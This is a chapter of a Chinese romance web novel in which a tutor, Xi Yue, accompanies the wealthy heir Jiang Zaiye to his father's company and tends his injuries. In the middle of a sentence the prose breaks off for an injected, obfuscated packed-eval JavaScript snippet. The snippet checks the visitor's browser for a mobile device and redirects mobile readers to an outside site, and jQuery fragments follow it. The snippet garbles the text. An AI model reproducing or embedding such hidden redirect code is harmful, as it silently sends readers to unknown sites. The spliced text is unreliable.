蒋在野的驾驶技术出奇地稳,除了刚起步那阵,后面奚越再没有感受到炫技式的推背感。
但这并不意味着他是一个守规矩的孩子——他把车停在了华尔街那座铜牛的对面。
“下车,哥哥。”见奚越没动,蒋在野探身过去,一手撑在副驾驶的座椅靠背上,另一只手准确地摁开安全带卡扣。
人的臂展和身高是等长的,蒋在野长得高,手臂自然也长。这个姿势对他来说游刃有余,两人之间还有空隙。
也就是这时,奚越才注意到,蒋在野今天并没有穿运动套装,而是穿了一身米色的亚麻西装,西装版型宽松,衬得他有种超出年龄的风流。
咔哒一声,肌肉勃发的身体并没有立刻退开,安全带被蒋在野牵着缓慢地回缩,他的手臂一度横在奚越的胸前。
奚越欲言又止。
“怎么了?”蒋在野问。
“没什么。”奚越想蒋在野应该是不在意违章停车的罚款的。尽管以美国警察的手黑程度,罚单八成比自己的时薪还要高。
他的欲言又止被蒋在野会错了意。
蒋在野想了想,把安全带重新扣了回来。
这下换奚越问他想干嘛了。
“奖励,哥哥。”蒋在野重拾之前的话题,“你答应过的。”
他神色颇为认真,表明他要求立刻兑现的态度。
——要是不赶紧兑现,他怕奚越一笑,他就又忘了。
奚越低头看了眼运动手环,离十点还有几分钟。
“不要占用上课时间。”奚越说。
蒋在野笑了。他从手套箱里拿出一条被揉成团的浅蓝色菱格纹领带,真丝领带一垂落便如流水般舒展开,在阳光下泛着柔和的珠光。
他把领带递给奚越,说:“哥哥,帮我系一下吧。”
说着,扬了扬下巴,把脸凑了过去。
·
卡翠娜接到Zane的时候,险些没认出来人。女人红唇微张正想说点什么,蒋在野朝她眨了眨眼睛,又指了指奚越。卡翠娜的眉毛高高挑起,把调侃咽了回去。
蒋在野这才从电梯里走出来,和奚越并肩而立。
“卡翠娜杨。”他自然地揽过奚越的肩膀,“奚越——我的中文家教。”
这下,卡翠娜的眉毛挑得更高了。
她没拆少爷的台,热情地和奚越打招呼,领着他们往里走。
今天的教学内容超出奚越的备课,难度有点大——不是对蒋在野来说难度大,而是对他。
此前,奚越并没有钻研过商务英语。尤其是合同。
奚越也是刚刚才知道,油管上的网红美高Zane,竟然是启睿集团的少爷。蒋在野的家境,已经不是简单的优渥两个字可以形容的了。
简直就是巨富。
昨天早上匆匆一面的中年男人,竟然就是福布斯富豪榜上鼎鼎大名的华人富豪路明博。
路明博是蒋在野的父亲,蒋在野是随母姓的。蒋在野的家庭很符合奚越对华人移民的刻板印象。父亲谦和有礼,经营着公司;母亲精明能干,是整个家庭的精神支柱。
启睿集团也不愧是出了名的偏爱华人的公司,两人跟在卡翠娜的身后穿过格子间,上千平的写字楼里放眼望去,有半数是亚裔面孔。
和国内的外企一样,这里并不全说英语,员工们普遍中英夹杂地交流……奚越看了蒋在野一眼。
“我脸上有东西吗?”蒋在野问。
“没有。”原来真的有富二代喜欢当网红。
两人小声说着话,很快就来到了路明博的办公室。工作状态下的路明博一改居家时的亲切和蔼,哪怕是对着亲生儿子,也一派企业家的大气风范。
不过等秘书和几个高管识趣地从办公室里出去后,他又恢复了儒雅的父亲模样。
“哟。”他仔仔细细地打量着儿子,“学会打领带啦?”
“是老师给我系的。”蒋在野指了指奚越。
路明博于是转而和奚越交谈起来。
奚越这才得知,其实是路明博提议让他们来启睿集团进行补课的。
路明博说:“他妈妈和你说过吧?以后公司是要交给蒋在野的。启睿集团不仅仅是看起来的气派,还有一些产值比较低的业务,雇佣了一些移民。”这里,他停顿了一下,奚越瞬间明白了,路明博说的移民很可能是非法移民,“……很多人不顾一切地来了美国之后,才发现美国梦其实是一场空。这方面一直是Zane和他妈妈在尽力帮助。总要有人来承担责任……”
“Zane和那些人打交道有些勉强,这方面就需要奚老师多费心了。”
“要教他,和那些人讲话委婉一点,不要太强硬。这孩子人情世故方面很不开窍。”
“这里有一些文件,辛苦你带着他……”
好巧不巧的,内线电话响了。
路明博接起来,那边说了什么,他眉头皱起来,指了指门外。蒋在野会意,带着奚越出去。
关门的时候,奚越听见,路明博和电话那头客套间提到了哈佛。
哈佛?
他猛地扭头看向蒋在野。
“我妈没和你说吗?我申上了哈佛商学院。”
说着,揽着奚越,拐进了一间会议室。
奚越第二次这么直白地打量蒋在野。他像昨天早上那样,直勾勾地盯着蒋在野,把他从头到脚仔细地看了一遍。
蒋在野被那双秋水一样的浅色眼睛看得心痒痒。
他大踏步走过来,低下头,鼻尖几乎贴到奚越的脸上,清凉的薄荷味道在两人的鼻息间流转。
“哥哥,怎么样?你对我满意吗?”他声音很低地问。
奚越却不像他想象中那样沉溺,反而后退几步。
冷静地道:“是靠捐款申上的吗?”
蒋在野:“……”
蒋在野险些没绷住,好在这时,卡翠娜推门进来,笑眯眯地往桌上放了一摞文件,很快又退了出去。
会议室里再一次只剩他们两人。
蒋在野像是突然泄气了一样,拉开椅子,接近两米的身高很大一坨地坐下。他趴在桌上,把头埋进臂弯。
闷闷的声音传来:“哥哥,是不是在你看来,我是一个特别差劲的人?”
这误会可就大了。
奚越也意识到了自己刚刚的反应不妥,他认命地走上前去,把手放在蒋在野的背上,诚恳地道歉:“抱歉,我不是这个意思……我不明白为什么你申上了哈佛,却要gap year?没有贬低你的意思,我不太理解……”
“你觉得,我不是真材实料,所以不敢去上学。”
“你居然说了成语!蒋在野你真棒!”奚越惊讶道。
“……”
蒋在野又自闭了。
他恶狠狠地扭头,又要把脑袋藏起来。奚越本来想坐下来和他聊聊,会议室的办公椅下置万向轮,蒋在野块头太大了,扭动的时候脚勾了奚越一下。混乱中,奚越猝不及防地被他勾带着往桌上仰倒。
不偏不倚的,蒋在野的粉毛正好埋到他的小腹上。
突如其来的状况让两人都僵了僵。
奚越柔韧性很好,没受伤,只是闷哼了一声,身体很快就站稳了。他想换个姿势,蒋在野却依旧埋在他肚子上一动不动——不,也不是一动不动。他脸蹭了蹭。
“……”奚越叫他,“让一下,蒋在野……Zane,蒋在野!不要蹭了!放开!”
回应他的是身体突然腾空,蒋在野提着他的腰把他抱了起来,抱到桌上坐着。
蒋在野不在他小腹上蹭了,改为把脸埋到他大腿的缝隙里。长而有力的手臂环着奚越的腰,固定着他不让他躲开。
奚越听到了一声响亮的、清
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656058|172864||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晰的,吸鼻子的声音。
夏天,他穿得清凉。同样亚麻材质的裤子多孔隙,湿热的鼻息穿过面料的经纬线打在大腿肉上。奚越想躲,被蒋在野的手臂箍着动弹不得。
“……”
他脑子空白了那么几秒,随后剧烈地挣扎起来。
奚越的膝盖顶到了很硬的东西,他倒是不痛,蒋在野闷哼了一声。于是奚越不动了,蒋在野缓缓抬起头。
他看见粉色头发的男孩捂着下巴,委屈地看着他,眼泪包包的,下唇以肉眼可见的速度沁出血珠。
一连串的变故让奚越措手不及。
奚越的运动手环正在轻微震动,提醒他,你情绪波动很大。
奚越以前二十多年接触过的任何一个人,都不像蒋在野这么奇怪,蒋在野还带着他也变得奇怪。
——每每有一点情绪,都在升至顶点前忽而急转直下。现在奚越也不知道自己应该作何反应了。
要道歉吗?蒋在野哭了。
可是他才哭,在哭之前,他……
隔着布料,哪怕既视感再强,奚越也不能硬说蒋在野舔了他。
奚越低头看了眼裤子,又抬头,和汪汪哭的蒋在野对视,最后视线落到了他还在往外沁着血珠的嘴唇上。
奚越叹了口气,从桌上跳下来,说道:“等我一下,我马上就回来。”
这一次蒋在野没有拦他,他什么也没有说。
奚越从会议室出来就遇到了卡翠娜,她似乎并不怎么忙,热情地问奚越是不是有什么需要。
奚越只犹豫了几秒,就和她说了蒋在野受伤的事。
“流血了?”她压低声音问,“哪里流血了?”
“嘴唇。”奚越回答道。
接着他看见,卡翠娜看他的眼神突然变得意味深长起来。
好吧,这下完全不用担心她会告状了。令人尴尬的误会。奚越想。
很快,卡翠娜从茶水间找来了医药箱,不仅如此,她还从工位的收纳盒里拿了只未拆的润唇膏递给奚越,并贴心地介绍道它是药用的,有助于皮损的修复。
奚越从善如流地接过,又问她要了点冰块。
随后回到了会议室。
蒋在野已经没哭了,只是看起来还是很可怜。他皮肤本来就白,现在眼睛周围和鼻梁通红,dong大一坨地坐在椅子上,肩膀内扣,见奚越提着医药箱进来,很响亮地抽泣了一声,活像奚越把他怎么了似的。
“哥哥,好痛。”他小声说。
奚越怀疑他在夹。
但考虑到某个美高看起来还挺脆弱的——心灵上脆弱——奚越什么也没说。只是走过来,和他面对面地坐下,拆了张酒精棉片递给他,让他消下毒。
“要哥哥来。”蒋在野瓮声瓮气道。
奚越今天已经不知道第多少次叹气了。
他帮蒋在野破皮的地方消了毒,又帮他涂上卡翠娜给的润唇膏。然后示意蒋在野把衣服捞起来,给他看一下昨天比赛时受伤的地方。
和奚越预计的一样,腰侧那块据说是被对方队员肘击的皮肤,在一整天后,现在呈现出非常骇人的紫色。
蒋在野压根就没有上药。
撞伤后的四十八小时内属于急性期,冰敷可以减少皮下出血和肿胀。奚越打算先帮他冰敷十五分钟,再上药。
他用纱布包好冰块,贴上蒋在野受伤的位置。低温刺激着肌肉牵连,男孩本就劲瘦的小腹不自觉地回吸,腹肌一块块的更明显了。
奚越没什么反应,只是淡淡地扫了一眼,就专心盯着受伤的位置看,数着秒抬手,以防停太久造成冻伤。
很长时间,会议室里没有人说话。
直到几滴水珠砸在奚越的手背上。
他抬起头来——
蒋在野哭得满脸通红,很小声很小声地说道:“哥哥,你和我说说话呀。”